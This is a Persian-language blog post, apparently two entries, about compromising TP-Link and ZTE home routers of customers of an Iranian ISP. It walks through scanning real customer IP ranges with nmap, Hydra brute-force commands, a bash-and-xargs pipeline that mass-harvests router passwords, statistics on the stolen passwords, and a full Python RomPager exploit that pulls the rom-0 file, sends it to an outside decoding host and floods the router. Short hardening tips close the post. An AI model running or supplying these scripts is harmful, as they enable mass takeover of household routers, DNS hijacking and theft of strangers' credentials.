        if [ “$OCTA” -eq “$OCTAHI” ] && \
           [ “$OCTB” -eq “$OCTBHI” ] && \
           [ “$OCTC” -eq “$OCTCHI” ]; then
                OCTDMAX=$OCTDHI
        fi

        # Loop octet D up to OCTDMAX 255 unless above criteria satisfied
        while [ “$OCTD” -le “$OCTDMAX” ];
        do
                # Print out current IP
                printf “$OCTA.$OCTB.$OCTC.$OCTD\n”
                # Check if this is the last IP to print
                if [ “$OCTA” -eq “$OCTAHI” ] && \
                   [ “$OCTB” -eq “$OCTBHI” ] && \
                   [ “$OCTC” -eq “$OCTCHI” ] && \
                   [ “$OCTD” -eq “$OCTDHI” ]; then
                        FINISHED=1
                fi
                OCTD=$(( $OCTD + 1 ))
        done

        # Now D loop has completed, set C + 1 and reset D to 0
        OCTC=$(( $OCTC + 1 ))
        OCTD=”0″

        # if C is over 255 then set B + 1 and reset C to 0
        if [ “$OCTC” -gt “255” ]; then
                OCTB=$(( $OCTB + 1 ))
                OCTC=”0″
        fi

        # If B is over 255 then set A + 1 and reset B to 0
        if [ “$OCTB” -gt “255” ]; then
                OCTA=$(( $OCTA + 1 ))
                OCTB=”0″
        fi

        # If A is over 255 for whatever reason then set FINISHED=1
        if [ “$OCTA” -gt “255” ]; then
                FINISHED=1
        fi
done
exit 0

#!/bin/bash

# Function: Generate a range of IP Addresses

# Version: 1.1

# Author: [email protected]

# v1.1

# Convention for octets: A.B.C.D

# Variable setup section…

# Split up IP addresses into seperate variables for each octet

IPLO=(`echo “$1” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)

IPHI=(`echo “$2” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)

# Put array contents into nicely named vars for less confusion

OCTA=${IPLO[0]}

OCTB=${IPLO[1]}

OCTC=${IPLO[2]}

OCTD=${IPLO[3]}

OCTAHI=${IPHI[0]}

OCTBHI=${IPHI[1]}

OCTCHI=${IPHI[2]}

OCTDHI=${IPHI[3]}

OCTDMAX=255 # Max default value for D Octet to loop to

FINISHED=0 # Variable used for loop state checking

# Syntax sanity check; check all vars are populated etc

for i in 0 1 2 3

if [ –z “${IPLO[$i]}” ] || [ –z “${IPHI[$i]}” ]; then

echo “Usage: $0 [from ip] [to ip]”

exit 1

elif [ “${IPLO[$i]}” –gt “255” ] || [ “${IPHI[$i]}” –gt “255” ];then

echo “One of your values is broken (greater than 255).”

exit 1

done

# Until FINISHED variable is set to 1, loop the loop.

# FINISHED var is used to determine when done as the increments

# to the vars in the loop will mean that when we get to the done

# statement, the values won’t be the same as printed.

# The D Octet loop is the heart of this script, as it’s easiest

# to check whether we’ve reached the target or not from here.

until [ “$FINISHED” –eq “1” ];

# If first 3 octets match hi values, use OCTDHI as max value for 4th octet.

if [ “$OCTA” –eq “$OCTAHI” ] && \

[ “$OCTB” –eq “$OCTBHI” ] && \

[ “$OCTC” –eq “$OCTCHI” ]; then

OCTDMAX=$OCTDHI

# Loop octet D up to OCTDMAX 255 unless above criteria satisfied

while [ “$OCTD” –le “$OCTDMAX” ];

# Print out current IP

printf “$OCTA.$OCTB.$OCTC.$OCTD\n”

# Check if this is the last IP to print

if [ “$OCTA” –eq “$OCTAHI” ] && \

[ “$OCTB” –eq “$OCTBHI” ] && \

[ “$OCTC” –eq “$OCTCHI” ] && \

[ “$OCTD” –eq “$OCTDHI” ]; then

FINISHED=1

OCTD=$(( $OCTD + 1 ))

done

# Now D loop has completed, set C + 1 and reset D to 0

OCTC=$(( $OCTC + 1 ))

OCTD=“0”

# if C is over 255 then set B + 1 and reset C to 0

if [ “$OCTC” –gt “255” ]; then

OCTB=$(( $OCTB + 1 ))

OCTC=“0”

# If B is over 255 then set A + 1 and reset B to 0

if [ “$OCTB” –gt “255” ]; then

OCTA=$(( $OCTA + 1 ))

OCTB=“0”

# If A is over 255 for whatever reason then set FINISHED=1

if [ “$OCTA” –gt “255” ]; then

FINISHED=1

done

exit 0

حالا کافیه به طریقی این آی‌پی‌ها رو به خورد اسکریپت اصلی بدیم که پسوردها رو قراره در بیاره برامون.

برای اینکار از برنامه‌ی xargs استفاده می‌کنیم. xargs خروجی یک برنامه رو میگیره و به صورت آرگومان به برنامه‌ای که مدنظرمونه میده. حالت پیشفرض xargs،‌ خروجی به آخر برنامه اضافه میکنه. اگه بخوایم خروجی رو به وسط کامندی که اجرا میکنیم، اضافه کنه از خروجی -I به همراه یک نام (place holder) استفاده مینیم.

 ./ip.sh 109.162.208.0 109.162.223.255 | xargs -I{} timeout 20 ~/novid.py -i {} 2>/dev/null | grep Router

1	./ip.sh 109.162.208.0 109.162.223.255 \| xargs –I{} timeout 20 ~/novid.py –i {} 2>/dev/null \| grep Router

کامند بالا علارغم ظاهر خیلی پیچیده‌ای که داره خیلی ساده عمل میکنه.

قلب اصلی همون novid.py که فقط یک ip میگیره و قراره پسورد رو بهمون برگردونه. با اسکریپت Ip.sh و کمک برنامه xargs تعداد زیادی ip رو داریم به خوردش می‌دیم.

اما به دلایل مختلف ممکنه برنامه پیغام‌های خطایی رو برگردونه که اونها رو داریم به dev/null میریزیم (به جای نمایش اونها در صفحه نمایش). سر بعضی از آی‌پی‌ها برنامه کلا متوقف میشه و دیگه جلو نمیره. برای جلوگیری از این اتفاق از timeout استفاده میکنیم و میگیم حالت نرمال برای پیدا کردن پسورد یک روتر زیر ۲۰ ثانیه‌ست. اگه بیشتر از این زمان برد، بیخیال اون آی‌پی بشو و برو سراغ بعدی.

xargs با استفاده از خروجی -I به جای اینکه هر آی‌پی رو انتهای کامند یعنی grep Router بیاره، اونها رو وسط کامند دونه دونه به برنامه میده! {}صرفا یک نام هست که می‌دونیم در کامندی که قراره بارها اجرا بشه هیچ استفاده‌ای نمیشه، میشه به جای اون هر چیز دیگه‌ای هم استفاده کرد.

اون بخش grep رو برای این گذاشتم که برنامه بعد از پیدا کردن پسورد روتر چند خط رو به عنوان خروجی بر میگردونه. پسورد نیز در خطی قرار داره که کلمه‌ی Router وجود داره.

بعد چند ساعت صبر و بسته به سرعت اینترنت، به کلی پسورد روتر خواهید رسید!

Selection_028 جالبه در خیلی پسوردها، نام isp داتک رو میتونستم ببینم که مشخص بود تنظیمات رو خود داتک بر روی روتر طرف انجام داده. بسیاری هم شماره تلفن خونه‌شون رو به عنوان پسورد انتخاب کرده بودن که خیلی راحت میشه به اطلاعات بیشتری از فرد دست پیدا کرد.

کار قشگ دیگه ای که میشه انجام داد اینه که ببینیم بیشترین پسوردی رو که ملت استفاده میکنن چیه؟

برای اینکار با کمی جستجو به اسکریپت count_all_words.py میرسیم.

#!/usr/bin/python
from collections import Counter
from re import split

BANNER = “-” * 35

def format_print(counter, is_reverse=False):
    lst = counter.items()
    lst.sort(key=lambda (a, b): (b, a), reverse=is_reverse)
    print (“[Unique Words: %d]” % len(lst)).center(35, “=”)
    print “%-16s | %16s” % (“Word”, “Count”)
    print BANNER
    for word, count in lst:
        print “%-16s | %16d” % (word, count)

def count_words(filename):
    counter = Counter()
    with open(filename, “rU”) as f:
        for line in f:
            line = line.strip().lower()
            if not line:
                continue
            counter.update(x for x in split(” “,line) if x)
    return counter

format_print(count_words(“PASSWDUSERS.txt”), is_reverse=False)

#!/usr/bin/python

from collections import Counter

from re import split

BANNER = “-“ * 35

def format_print(counter, is_reverse=False):

lst = counter.items()

lst.sort(key=lambda (a, b): (b, a), reverse=is_reverse)

print (“[Unique Words: %d]” % len(lst)).center(35, “=”)

print “%-16s | %16s” % (“Word”, “Count”)

print BANNER

for word, count in lst:

print “%-16s | %16d” % (word, count)

def count_words(filename):

counter = Counter()

with open(filename, “rU”) as f:

for line in f:

line = line.strip().lower()

if not line:

continue

counter.update(x for x in split(” “,line) if x)

return counter

format_print(count_words(“PASSWDUSERS.txt”), is_reverse=False)

کافیه همه پسوردها رو در یک فایل به نام PASSWDUSERS.txt ذخیره کنیم و بعد اسکریپت رو اجرا کنیم. برای استخراج پسورد از لیستی که در اختیار داریم، کامند زیر رو اجرا میکنیم.

cat ipRange.txt | cut -d ‘ ‘ -f 8 > PASSWDUSERS.txt

1	cat ipRange.txt \| cut –d ‘ ‘ –f 8 > PASSWDUSERS.txt

و برای شمارش تعداد پسوردها نیز اسکریپت count_all_words.py رو اجرا کنیم.

~/ python  count_all_words.py | tail     
m4f6h39          |                3
dseb0195         |                5
superheslo       |                9
m4f6h334         |               11
ebs7p27          |               15
m4f6h3           |               19
0xyaa1234        |               65
263297           |               73
362729           |               78
admin            |              124

~/ python count_all_words.py | tail

m4f6h39 | 3

dseb0195 | 5

superheslo | 9

m4f6h334 | 11

ebs7p27 | 15

m4f6h3 | 19

0xyaa1234 | 65

263297 | 73

362729 | 78

admin | 124

جامعه‌ی کاربری بالا ۶۵۵ مورد و همگی از isp داتک بوده. جستجو هم روی ۸۲۰۰ آی‌پی صورت گرفته. نکته اما اینه که همه‌ی این ۸۲۰۰ ip بالا نبودن و اگه آی‌پی‌هایی که در زمان جستجو داون بودن رو حذف کنیم به درصد خیلی خیلی بالایی میرسیم که آسیب‌پذیر هستن. در یک رنج آی‌پی ۲۵۶ تایی تقریبا صد تا از کاربران آنلاین هستن و از این تعداد پسورد ۴۰ تا کاربر رو میشه در اورد. با تقریب خوبی میشه گفت ۴۰ درصد کاربرای داتک این مشکل رو دارن و احتمالا خودشون هم اطلاعی از این وضعیت ندارند!‌

خب حالا اینکه مشخص شد که تعداد خیلی زیادی از روترها مشکل دارن که چی؟ اول اینکه تا جای ممکن سعی کنید دسترسی به روتر از دنیای اینترنت رو غیر ممکن کنید. هیچ دلیلی نداره که یک کاربر خونگی روترش از بیرون قابل دیدن باشه. برای اینکار روترها گزینه‌های متنوعی دارن. تعدادی مشخصا گزینه‌ای دارن که دسترسی به روتر رو خیلی ساده غیرممکن میکنه از دنیای اینترنت. بعضی نیز بخشی به نام ACL دارن و بخشی نیز از طریق فایروال و بستن ترافیک ورودی این امکان رو برای شما فراهم میکنن. یک راه نیز اینه که تمام ترافیک ورودی به روتر رو به سمت یک آی‌پی داخل شبکه‌تون که وجود خارجی نداره هدایت کنید! برای اینکار در بخش dmz روتر باید یک آی‌پی در رنج شبکه داخلی بدید که البته وجود خارجی نداشته باشه.

و اینکه شاید این نفوذپیذیری رو روتر شما نداشته باشه،‌ اما با گذاشتن پسوردهای خیلی ساده مثل ده مورد بالا این اجازه رو به مهاجم میدید که از طریق یک دیکشنری خیلی ساده بتونه وارد روتر بشه. و اینکه شاید خیلی از نفوذپذیری‌های دیگه باشه که تا سالها مخفی باشه و صداش در نیاد بنابراین همیشه دسترسی به روتر از بیرون رو محدود به یک یا چند آی‌پی شناخته شده کنید.

سوال دیگه‌ای که پیش میاد اینه که با وارد شدن به روتر،‌فرد مهاجم میتونه چیکار کنه؟ جواب اینه که میتونه برنامه‌ای رو بنویسه که به صورت خودکار علاوه بر در اوردن پسورد روتر، به صورت گروهی بره و dns روتر رو هم تغییر بده. با تغییر dns عملا شما متوجه هیچ مورد مشکوکی نخواهید شد. کافیه فرد مهاجم dns چند ده هزار روتر رو تغییر بده. در زمان حمله نهایی، فرد مهاجم صفحه اول تمام بانکهای معروف رو میسازه و در یک زمان، میاد و ترافیک مثلا بانک‌ سامان و پارسیان و دیگر بانکها رو به سمت سرور خودش تغییر میده! و اینطوری میشه که بجای اینکه وارد سایت اصلی بانک سامان بشید، وارد نسخه‌ای میشید که هکر اون رو طراحی کرده. طبیعتا کسی وارد سایت دستکاری میشه که از dns سرور فرد مهاجم استفاده کنه. پس توصیه مهم دیگه اینه که همیشه برید dns های داخل روتر رو خودتون به شکلی دستی تنظیم کنید. اگه dns رو به صورت دستی تنظیم نکنید،‌ به صورت خودکار روتر اونها رو از سمت isp دریافت میکنه که به نظرم این گزینه هم عاقلانه نیست. اینجور حملات در گذشته در بسیاری از کشورهای دنیا هم اتفاق افتاده.

2014-02-mitr-en

یادتون نره حتی در صورت بستن راه ورود به روتر از طریق اینترنت، مهاجم میتونه حمله رو از طریق خودتون انجام بده. بدین صورت که با وارد شدن به یک سایت آلوده، خودتون تبدیل به یک مهاجم میشید و پسورد مودم خودتون رو ریست میدید! بعد برنامه‌ دیگه‌ای میتونه وارد روتر بشه و از طریق پسوردی که معلوم و مشخصه، dns رو تغییر بده! :)‌

csrf-router-attack-640x410 راهکار چیه؟ جواب اینه که فرم‌ویر روتر خودتون رو به dd-wrt تغییر بدید. dd-wrt یک فرم‌ویر اپن سورس مبتنی بر کرنل لینوکس که با دنگ و فنگ و کمی خوش شانسی باید بتونید روی روتر خودتون نصب کنید. ریسک اینکار رو هم قبلش باید بپذیرید که دیگه روتر قابل استفاده نباشه. برای اینکه بفهمید dd-wrt روی روتر شما کار میکنه یا خیر کافیه به این آدرس برید و نام روتر خودتون رو وارد کنید.

راهکار دیگه استفاده از روتر در حالت بریج هست. و اینکه از روتر خوتون در حالت bridge استفاده کنید. در این صورت تنظیمات pppoe که بر روی روترهای ADSL وجود داره به روی سیستم متصل به روتر منتقل میشه و مودم تنها نقش یک پل رو خواهد داشت!‌ افراد داخل شبکه در اینحالت باید از طریق سرور متقل به روتر، ip بگیرن. دیوایسی که برای اینکار در نظر میگیرید باید دو تا پورت لن یا یک پورت لن و یک وایرلس داشته باشه. حالت قشنگش اینه که از رزبری پای استفاده کنید. رزبری پای کلا یک پورت Lan بیشتر نداره. بنابراین باید یک مبدل usp به lan یا wireless نیز داشته باشید. برای os هم می‌تونید از ipfire یا OpenWRT استفاده کنید که هر دوی اونها نسخه مخصوص ARM رو دارن.

openwrt-raspi-network

2 اکتبر 2015

امنیت پایین روترهای تی‌پی‌لینک

بعد مدت‌ها عید فرصت خوبی ایجاد کرد که بالاخره دستی به وبلاگ بزنم و چه موضوعی بهتر از موضوع اسفناک مشتری ispهای ایران…

سالهاست که خودم کاربر داتک هستم و روز به روز شاهد افت کیفیت این شرکت ارائه دهنده‌ی اینترنت بودم که حالا مشکلات امنیتی هم به اون اضافه شد.

هر کاربر متصل به اینترنت یک ip ولید توی اینترنت داره که برای بدست اوردنش کافیه توی گوگل سرچ بزنید what is my ip.

اگه فرض کنیم ای‌پی من در اینترنت 176.46.136.128 باشه ، با تقریب خوبی میشه گفت که آی‌پی‌های در رنج 176.46.136.1/24 همه‌گی مشتری‌های داتک هستن. حالا کافیه بیاییم چک کنیم چه مقدار از این آی‌پی‌ها پورت ۸۰ شون بازه. برای اینکار از برنامه nmap استفاده میکنیم.

nmap -p 80 -T4 -A -v 176.46.136.1/24

Discovered open port 80/tcp on 176.46.136.8
Discovered open port 80/tcp on 176.46.136.6
Discovered open port 80/tcp on 176.46.136.2
Discovered open port 80/tcp on 176.46.136.18
Discovered open port 80/tcp on 176.46.136.10
Discovered open port 80/tcp on 176.46.136.4
Discovered open port 80/tcp on 176.46.136.15
Discovered open port 80/tcp on 176.46.136.64
Discovered open port 80/tcp on 176.46.136.58
Discovered open port 80/tcp on 176.46.136.74
Discovered open port 80/tcp on 176.46.136.72
Discovered open port 80/tcp on 176.46.136.95
Discovered open port 80/tcp on 176.46.136.81
Discovered open port 80/tcp on 176.46.136.92
Discovered open port 80/tcp on 176.46.136.87
Discovered open port 80/tcp on 176.46.136.102
Discovered open port 80/tcp on 176.46.136.99
Discovered open port 80/tcp on 176.46.136.118
Discovered open port 80/tcp on 176.46.136.113
Discovered open port 80/tcp on 176.46.136.107
Discovered open port 80/tcp on 176.46.136.114
Discovered open port 80/tcp on 176.46.136.162
Discovered open port 80/tcp on 176.46.136.151
Discovered open port 80/tcp on 176.46.136.145
Discovered open port 80/tcp on 176.46.136.159
Discovered open port 80/tcp on 176.46.136.155
Discovered open port 80/tcp on 176.46.136.181
Discovered open port 80/tcp on 176.46.136.171
Discovered open port 80/tcp on 176.46.136.213
Discovered open port 80/tcp on 176.46.136.217
Discovered open port 80/tcp on 176.46.136.233
Discovered open port 80/tcp on 176.46.136.234
Discovered open port 80/tcp on 176.46.136.232
Discovered open port 80/tcp on 176.46.136.238
Discovered open port 80/tcp on 176.46.136.20
Discovered open port 80/tcp on 176.46.136.31
Discovered open port 80/tcp on 176.46.136.29
Discovered open port 80/tcp on 176.46.136.36
Discovered open port 80/tcp on 176.46.136.53
Discovered open port 80/tcp on 176.46.136.57
Discovered open port 80/tcp on 176.46.136.70
Discovered open port 80/tcp on 176.46.136.55
Discovered open port 80/tcp on 176.46.136.54
Discovered open port 80/tcp on 176.46.136.120
Discovered open port 80/tcp on 176.46.136.122
Discovered open port 80/tcp on 176.46.136.165
Discovered open port 80/tcp on 176.46.136.194
Discovered open port 80/tcp on 176.46.136.193
Discovered open port 80/tcp on 176.46.136.219
Discovered open port 80/tcp on 176.46.136.237
Discovered open port 80/tcp on 176.46.136.250
Discovered open port 80/tcp on 176.46.136.243
Discovered open port 80/tcp on 176.46.136.23
Discovered open port 80/tcp on 176.46.136.26
Discovered open port 80/tcp on 176.46.136.39
Discovered open port 80/tcp on 176.46.136.47
Discovered open port 80/tcp on 176.46.136.136
Discovered open port 80/tcp on 176.46.136.96
Discovered open port 80/tcp on 176.46.136.138
Discovered open port 80/tcp on 176.46.136.208
Discovered open port 80/tcp on 176.46.136.1
Discovered open port 80/tcp on 176.46.136.28
Discovered open port 80/tcp on 176.46.136.170
Discovered open port 80/tcp on 176.46.136.214
Discovered open port 80/tcp on 176.46.136.223
Discovered open port 80/tcp on 176.46.136.215
Discovered open port 80/tcp on 176.46.136.251
Discovered open port 80/tcp on 176.46.136.209
Discovered open port 80/tcp on 176.46.136.225
Discovered open port 80/tcp on 176.46.136.19
Discovered open port 80/tcp on 176.46.136.48
Discovered open port 80/tcp on 176.46.136.71

nmap –p 80 –T4 –A –v 176.46.136.1/24

Discovered open port 80/tcp on 176.46.136.8

Discovered open port 80/tcp on 176.46.136.6

Discovered open port 80/tcp on 176.46.136.2

این لیست، کاربرایی رو شامل میشه که صفحه‌ی اصلی روترشون توسط مرورگر قابل مشاهده است. مگه اینکه پورت ۸۰ شون رو از طریق nat انتقال داده باشن به وب‌سرور داخلی. وقتی این آی‌پی‌ها رو توی مرورگر وارد کنید فرم یوزر و پسورد براتون ظاهر میشه. مهاجم در ساده‌ترین حالت با یوزر و پسورد پیش‌فرض admin میتونه وارد تنظیمات روتر بشه.

اما در مورد روترهایی که پسورد پیش‌فرض اونها admin نیست، یک روش استفاده از brute force با استفاده از برنامه‌ی Hydra است. این برنامه می‌تونه با استفاده از یک دیکشنری،‌ دونه، دونه پسوردها رو با سرعت خیلی زیادی تست کنه.

hydra -l admin -P 500-worst-passwords.txt 176.46.136.128 http-head -V

1	hydra –l admin –P 500–worst–passwords.txt 176.46.136.128 http–head –V

با کامند بالا، برنامه‌ هیدرا به سرعت ۵۰۰ تا از بدترین پسوردهایی که کاربرا خیلی علاقه به انتخابشون رو دارن با یوزر admin به روش سعی و خطا تست میکنه و نتیجه کار رو بهتون میگه. طبیعیه که اگه لیست پسوردا خیلی طولانی باشه زمان اینکار هم بیشتر میشه (احتمالا).

در صورتیکه لیستی از یوزر رو میخواید به برنامه‌ی هیدرا بدید، هم کافیه با آپشن L اینکار رو انجام بدید.

برای پیدا کردن یوزر و پسورد در حالت ssh هم به شکل زیر از برنامه استفاده کنید.

hydra -l newuser -P pass.txt -V 192.168.1.182 ssh

1	hydra –l newuser –P pass.txt –V 192.168.1.182 ssh

لیستی از دیکشنری‌های معروف رو هم میتونید از اینجاها بگیرید.

http://trac.kismac-ng.org/wiki/wordlists
http://www.room362.com/projects/hugelist.txt
https://wiki.skullsecurity.org/Passwords

اما موضوعی که هست وجود یک exploit یا به عبارتی حفره در مودم‌های TP-Link که باعث میشه فرد مهاجم به راحتی بتونه هر پسوردی رو که ست کرده باشید در بیاره.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#                   TP-Link TD-W8901G
#                   TP-Link TD-W8101G
#                   TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:    Please note this exploit may contain errors, and
#           is provided “as it is”. There is no guarantee
#           that it will work on your target router(s), as
#           the code may have to be adapted.
#           This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#             Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Dedicate to Nick Knight and Hood3dRob1n
# 
# ./dos.py -i 192.168.1.1
 
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
  
class BitReader:
     
    def __init__(self, bytes):
        self._bits = collections.deque()
         
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
             
    def getBit(self):
        return self._bits.popleft()
         
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
         
    def getByte(self):
        return self.getBits(8)
         
    def __len__(self):
        return len(self._bits)
         
class RingList:
     
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
  
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
  
    def get(self):
        return self.__data__
  
    def size(self):
        return len(self.__data__)
  
    def maxsize(self):
        return self.__max__
         
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 
 
def banner():
    return ”’
 
\t\t    _/_/_/                _/_/_/  
\t\t   _/    _/    _/_/    _/         
\t\t  _/    _/  _/    _/    _/_/      
\t\t _/    _/  _/    _/        _/     
\t\t_/_/_/      _/_/    _/_/_/        
                            
 ”’                         
def dos(host, password):
    while (1):
        url = ‘http://’ +host+ ‘/Forms/tools_test_1’
        parameters = {
        ‘Test_PVC’          :   ‘PVC0’,
        ‘PingIPAddr’        :   ‘\101’*2000,
        ‘pingflag’          :   ‘1’,
        ‘trace_open_flag’   :   ‘0’,
        ‘InfoDisplay’       :   ‘+-+Info+-%0D%0A’
        }
         
        params = urllib.urlencode(parameters)
         
        req = urllib2.Request(url, params)
        base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)
        req.add_header(“Authorization”, “Basic %s” %base64string)
        req.add_header(“Content-type”, “application/x-www-form-urlencoded”)
        req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)
        try:
                print ‘[~] Sending Payload’
                response = urllib2.urlopen(req, timeout=1)
                sys.exit(0)
             
        except:
            flag = checkHost(host)
            if flag == 0:
                print ‘[+] The host is still up and running’
            else:
                print ‘[~] Success! The host is down’
                sys.exit(0)
                break
 
def checkHost(host):
    if sys.platform == ‘win32’:
        c = “ping -n 2 ” + host
    else:
        c = “ping -c 2 ” + host
 
    try:
        x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        time.sleep(1)
        return x
         
    except:
        pass
 
def checkServer(host):
    connexion = httplib.HTTPConnection(host)
    connexion.request(“GET”, “/status.html”)
    response = connexion.getresponse()
    server = response.getheader(“server”)
    connexion.close()
    time.sleep(2)
    if server == ‘RomPager/4.07 UPnP/1.0’:
        return 0
    else:
        return 1
 
def checkPassword(host):
    print ‘[+] Checking for default password’
    defaultpass = ‘admin’
    tn = telnetlib.Telnet(host, 23, 4)
    tn.read_until(“Password: “)
    tn.write(defaultpass + ‘\n’)
    time.sleep(2)
    banner = tn.read_eager()
    banner = regex(len(defaultpass)*r’.’+’\w+’ , banner)
    tn.write(“exit\n”)
    tn.close()
    time.sleep(4)
    if banner == ‘Copyright’:
        print ‘[+] Default password is being used’
        dos(host, defaultpass)
    else:
        print ‘[!] Default Password is not being used’
    while True:
        msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()
        try:
            if msg[0] == ‘y’:
                password = decodePasswordLocal(host)
                print ‘[*] Router password is: ‘ +password
                dos(host, password)
                break                  
            if msg[0] == ‘n’:
                password = decodePasswordRemote(host)
                print ‘[*] Router password is: ‘ +password
                dos(host, password)
                break
            else:
                print ‘[!] Enter a valid choice’
        except Exception, e:
                print e
                continue
         
 
def decodePasswordRemote(host):
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0”, fname)
    # If this URL goes down you might have to find one and change this function.
    # You can also use the local decoder. It might have few errors in getting output.
    url = ‘http://198.61.167.113/zynos/decoded.php’                # Target URL
    files = {‘uploadedfile’: open(‘rom-0’, ‘rb’) }                 # The rom-0 file we wanna upload
    data = {‘MAX_FILE_SIZE’: 1000000, ‘submit’: ‘Upload rom-0’}    # Additional Parameters we need to include
    headers = { ‘User-agent’ : ‘Python Demo Agent v1’ }            # Any additional Headers you want to send or include
 
    res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
    res1 =res.content
    p = re.search(‘rows=10>(.*)’, res1)
    if p:
        passwd = found = p.group(1)
    else:
        password = ‘NotFound’
    return passwd
 
def decodePasswordLocal(host):
    # Sometimes this might output a wrong password while finding the exact string.
    # print the result as mentioned below and manually find out
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0″, fname)
    fpos=8568
    fend=8788
    fhandle=file(‘rom-0’)
    fhandle.seek(fpos)
    chunk=”*”
    amount=221
    while fpos < fend:
        if fend-fpos < amount:
            amount = amount
            data = fhandle.read(amount)
            fpos += len(data)
             
    reader = BitReader(data)
    result = ”
        
    window = RingList(2048)
         
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    break
            else:
                offset = reader.getBits(11)
             
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
             
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,’ignore’)
    # In case the password you see is wrong while filtering, manually print it from here and findout.
    #print result
    if ‘TP-LINK’ in result:
        result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;
        result = result.replace(“TP-LINK”, “”)
        result = result[1:]
 
    if ‘ZTE’ in result:
        result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;
        result = result.replace(“ZTE”, “”)
        result = result[1:]
 
    if ‘tc160’ in result:
        result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;
        result = result.replace(“tc160”, “”)
        result = result[1:]
    return result
     
def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
 
def main():
    if sys.platform == ‘win32’:
        os.system(‘cls’)
    else:
        os.system(‘clear’)
    try:
        print banner()
        print ”’
|=——–=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=——-=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.
 
    ”’
        parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)
        parser.add_option(‘-i’, dest=’host’,
                            type=’string’, 
                            help=’Specify the IP to attack’)
        (options, args) = parser.parse_args()
         
        if options.host is None:
            parser.print_help()
            exit(-1)
 
        host = options.host
        x = checkHost(host)
 
        if x == 0:
            print ‘[+] The host is up and running’
            server = checkServer(host)
            if server == 0:
                checkPassword(host)
            else:
                print (‘[!] Sorry the router is not running RomPager’)
        else:
            print ‘[!] The host is not up and running’
            sys.exit(0)
 
    except KeyboardInterrupt:
        print ‘[!] Ctrl + C detected\n[!] Exiting’
        sys.exit(0)
    except EOFError:
        print ‘[!] Ctrl + D detected\n[!] Exiting’
        sys.exit(0)
 
if __name__ == “__main__”:
    main() 
#EOF

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit

# Date: 10-05-2014

# Server Version: RomPager/4.07 UPnP/1.0

# Tested Routers: ZTE ZXV10 W300

